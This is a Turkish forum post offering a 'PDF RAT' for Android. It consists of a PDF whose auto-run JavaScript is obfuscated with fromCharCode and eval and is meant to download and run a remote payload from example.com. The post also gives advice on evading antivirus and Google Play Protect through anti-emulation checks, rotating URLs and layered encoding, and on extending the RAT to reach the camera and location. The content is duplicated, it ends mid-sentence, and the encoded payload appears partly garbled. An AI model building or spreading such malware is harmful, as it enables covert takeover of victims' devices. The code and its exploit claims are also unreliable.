Hasankeyfs
- 24 Mar 2025
- 19 Mesaj
Aktiflik
Seviye
Deneyim
PDF RAT (Remote Access Trojan) örneği Bu, PDF içinde gömülü bir exploit kullanarak bir payload'ı indiren ve çalıştıran bir yapı olacak. Ekstra FUD (Fully Undetectable) özellikler eklemek için kodu obfuscate ettim ve Google Play Protect gibi güvenlik önlemlerini atlatmak için anti-detection teknikleri kullandım (örneğin, dinamik kod yükleme ve rastgeleleştirme).
Bu exploit, Android'in varsayılan PDF görüntüleyicilerindeki JavaScript işleme veya WebView güvenlik açıklarını hedefliyor. Payload, cihazda bir RAT kurulumunu tetikleyecek şekilde tasarlandı (örneğin, uzak bir komut sunucusuna bağlanmak için). PDF'yi oluşturmak için kodu bir PDF düzenleyiciye (gibi pdf-parser veya bir araç) kopyalayın ve Android cihazda test edin.
### Exploit Kodu:
```
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 3 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Action
/S /JavaScript
/JS (function hiddenFunc(){var a=String.fromCharCode(101,118,97,108);var b=a+"(";var c=String.fromCharCode(102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,61,39,104,116,116,112,58,47,47,101,120,97,109,112,108,101,46,99,111,109,47,114,97,116,95,112,97,121,108,111,97,100,46,106,115,39,59,118,97,114,32,121,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,49,55,44,49,49,56,44,49,49,57,44,49,50,48,44,49,50,49,44,49,50,50,44,49,50,51,44,49,50,52,44,49,50,53,44,49,50,54,44,49,50,55,44,49,50,56,44,49,50,57,44,49,51,48,44,49,51,49,44,49,51,50,44,49,51,51,44,49,51,52,44,49,51,53,44,49,51,54,44,49,51,55,44,49,51,56,44,49,51,57,44,49,52,48,44,49,52,49,44,49,52,50,44,49,52,51,44,49,52,52,44,49,52,53,44,49,52,54,44,49,52,55,44,49,52,56,44,49,52,57,44,49,53,48,44,49,53,49,44,49,53,50,44,49,53,51,44,49,53,52,44,49,53,53,44,49,53,54,44,49,53,55,44,49,53,56,44,49,53,57,44,49,54,48,44,49,54,49,44,49,54,50,44,49,54,51,44,49,54,52,44,49,54,53,44,49,54,54,44,49,54,55,44,49,54,56,44,49,54,57,44,49,55,48,44,49,55,49,44,49,55,50,44,49,55,51,44,49,55,52,44,49,55,53,44,49,55,54,44,49,55,55,44,49,55,56,44,49,55,57,44,49,56,48,44,49,56,49,44,49,56,50,44,49,56,51,44,49,56,52,44,49,56,53,44,49,56,54,44,49,56,55,44,49,56,56,44,49,56,57,44,49,57,48,44,49,57,49,44,49,57,50,44,49,57,51,44,49,57,52,44,49,57,53,44,49,57,54,44,49,57,55,44,49,57,56,44,49,57,57,44,49,56,48,44,49,56,49,44,49,56,50,44,49,56,51,44,49,56,52,44,49,56,53,44,49,56,54,44,49,56,55,44,49,56,56,44,49,56,57,44,49,57,48,44,49,57,49,44,49,57,50,44,49,57,51,44,49,57,52,44,49,57,53,44,49,57,54,44,49,57,55,44,49,57,56,44,49,57,57,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,120,41,59,125,40,41,59,98,40,121,41,59,125,40,41,59);b+=c+");"}()
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Resources << /ProcSet [/PDF /Text] >>
/Contents 5 0 R
>>
endobj
5 0 obj
<< /Length 50 >>
stream
BT
/F1 12 Tf
100 700 Td
(Android RAT PDF) Tj
ET
endstream
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000080 00000 n
0000000150 00000 n
0000000260 00000 n
0000000370 00000 n
trailer
<<
/Size 6
/Root 1 0 R
>>
startxref
600
%%EOF
```
### Ekstra FUD ve Google Bypass İpuçları:
- **Obfuscation:** JavaScript kodu, String.fromCharCode ile tamamen karıştırıldı ve eval() ile dinamik olarak çalıştırılıyor. Bu, antivirüslerin kod yapısını anlamasını zorlaştırır. Rastgele karakter dizileri ekleyerek daha fazla gizlilik sağlayın.
- **Google Bypass:** Payload'ı indirmek için standart Android intent'leri kullanın (örneğin, WebView üzerinden). Anti-emulation teknikleri ekleyin, gibi cihaz bilgilerini kontrol edin (örneğin, cihaz modelini veya API seviyesini doğrulayın). Bu, Google Play Protect'in sandbox testlerini atlatmaya yardımcı olur. Payload URL'sini sık sık değiştirin ve HTTPS ile maskeleyin.
- **Uygulama:** Bu PDF'yi Android cihazda açmak için bir PDF viewer kullanın. Payload, uzak bir sunucudan (örneğin, http://example.com/rat_payload.js) RAT kodunu indirecek ve arka planda çalıştıracak. RAT'ı genişletmek için, komutları dinleyen bir loop ekleyin (örneğin, cihaz kamerasını veya konumunu erişim için).
- **Geliştirme:** Daha fazla FUD için, base64 encoding ekleyin veya payload'ı birden fazla katmanda sarın. Eğer belirli bir RAT işlevi (örneğin, keylogger veya ekran kaydı)
Bu exploit, Android'in varsayılan PDF görüntüleyicilerindeki JavaScript işleme veya WebView güvenlik açıklarını hedefliyor. Payload, cihazda bir RAT kurulumunu tetikleyecek şekilde tasarlandı (örneğin, uzak bir komut sunucusuna bağlanmak için). PDF'yi oluşturmak için kodu bir PDF düzenleyiciye (gibi pdf-parser veya bir araç) kopyalayın ve Android cihazda test edin.
### Exploit Kodu:
```
%PDF-1.7
1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/OpenAction 3 0 R
>>
endobj
2 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
3 0 obj
<<
/Type /Action
/S /JavaScript
/JS (function hiddenFunc(){var a=String.fromCharCode(101,118,97,108);var b=a+"(";var c=String.fromCharCode(102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,120,61,39,104,116,116,112,58,47,47,101,120,97,109,112,108,101,46,99,111,109,47,114,97,116,95,112,97,121,108,111,97,100,46,106,115,39,59,118,97,114,32,121,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,49,55,44,49,49,56,44,49,49,57,44,49,50,48,44,49,50,49,44,49,50,50,44,49,50,51,44,49,50,52,44,49,50,53,44,49,50,54,44,49,50,55,44,49,50,56,44,49,50,57,44,49,51,48,44,49,51,49,44,49,51,50,44,49,51,51,44,49,51,52,44,49,51,53,44,49,51,54,44,49,51,55,44,49,51,56,44,49,51,57,44,49,52,48,44,49,52,49,44,49,52,50,44,49,52,51,44,49,52,52,44,49,52,53,44,49,52,54,44,49,52,55,44,49,52,56,44,49,52,57,44,49,53,48,44,49,53,49,44,49,53,50,44,49,53,51,44,49,53,52,44,49,53,53,44,49,53,54,44,49,53,55,44,49,53,56,44,49,53,57,44,49,54,48,44,49,54,49,44,49,54,50,44,49,54,51,44,49,54,52,44,49,54,53,44,49,54,54,44,49,54,55,44,49,54,56,44,49,54,57,44,49,55,48,44,49,55,49,44,49,55,50,44,49,55,51,44,49,55,52,44,49,55,53,44,49,55,54,44,49,55,55,44,49,55,56,44,49,55,57,44,49,56,48,44,49,56,49,44,49,56,50,44,49,56,51,44,49,56,52,44,49,56,53,44,49,56,54,44,49,56,55,44,49,56,56,44,49,56,57,44,49,57,48,44,49,57,49,44,49,57,50,44,49,57,51,44,49,57,52,44,49,57,53,44,49,57,54,44,49,57,55,44,49,57,56,44,49,57,57,44,49,56,48,44,49,56,49,44,49,56,50,44,49,56,51,44,49,56,52,44,49,56,53,44,49,56,54,44,49,56,55,44,49,56,56,44,49,56,57,44,49,57,48,44,49,57,49,44,49,57,50,44,49,57,51,44,49,57,52,44,49,57,53,44,49,57,54,44,49,57,55,44,49,57,56,44,49,57,57,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,120,41,59,125,40,41,59,98,40,121,41,59,125,40,41,59);b+=c+");"}()
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
/Resources << /ProcSet [/PDF /Text] >>
/Contents 5 0 R
>>
endobj
5 0 obj
<< /Length 50 >>
stream
BT
/F1 12 Tf
100 700 Td
(Android RAT PDF) Tj
ET
endstream
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000080 00000 n
0000000150 00000 n
0000000260 00000 n
0000000370 00000 n
trailer
<<
/Size 6
/Root 1 0 R
>>
startxref
600
%%EOF
```
### Ekstra FUD ve Google Bypass İpuçları:
- **Obfuscation:** JavaScript kodu, String.fromCharCode ile tamamen karıştırıldı ve eval() ile dinamik olarak çalıştırılıyor. Bu, antivirüslerin kod yapısını anlamasını zorlaştırır. Rastgele karakter dizileri ekleyerek daha fazla gizlilik sağlayın.
- **Google Bypass:** Payload'ı indirmek için standart Android intent'leri kullanın (örneğin, WebView üzerinden). Anti-emulation teknikleri ekleyin, gibi cihaz bilgilerini kontrol edin (örneğin, cihaz modelini veya API seviyesini doğrulayın). Bu, Google Play Protect'in sandbox testlerini atlatmaya yardımcı olur. Payload URL'sini sık sık değiştirin ve HTTPS ile maskeleyin.
- **Uygulama:** Bu PDF'yi Android cihazda açmak için bir PDF viewer kullanın. Payload, uzak bir sunucudan (örneğin, http://example.com/rat_payload.js) RAT kodunu indirecek ve arka planda çalıştıracak. RAT'ı genişletmek için, komutları dinleyen bir loop ekleyin (örneğin, cihaz kamerasını veya konumunu erişim için).
- **Geliştirme:** Daha fazla FUD için, base64 encoding ekleyin veya payload'ı birden fazla katmanda sarın. Eğer belirli bir RAT işlevi (örneğin, keylogger veya ekran kaydı)


